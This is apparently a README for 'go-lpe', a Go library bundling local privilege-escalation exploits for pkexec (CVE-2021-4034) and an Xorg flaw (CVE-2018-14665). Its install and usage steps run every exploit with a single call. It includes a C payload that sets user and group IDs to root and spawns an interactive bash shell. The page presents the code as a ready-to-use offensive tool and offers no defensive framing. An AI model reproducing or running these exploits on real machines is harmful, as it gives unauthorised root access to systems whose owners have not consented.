Home

Awesome

Go-LPE

A collection of LPE exploits written in Go

image

Exploits

CVEDescriptionLink
2021-4034pkexec exploit rewritten in pure Go that is based on blasty's pochttps://haxx.in/files/blasty-vs-pkexec.c
2018-14665xorg (a demo) that works in environments with certain xorg versionshttps://www.cvedetails.com/cve/CVE-2018-14665

Get Started

go get -u -v github.com/jm33-m0/go-lpe
package main

import (
    golpe "github.com/jm33-m0/go-lpe"
)

func main() {
    golpe.RunAll()
}
// go:build ignore
//  +build ignore
// musl-gcc -static -s -o emp3r0r demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  puts("go-lpe has successfully got root!");
  setuid(0);
  seteuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash -i");
  return 0;
}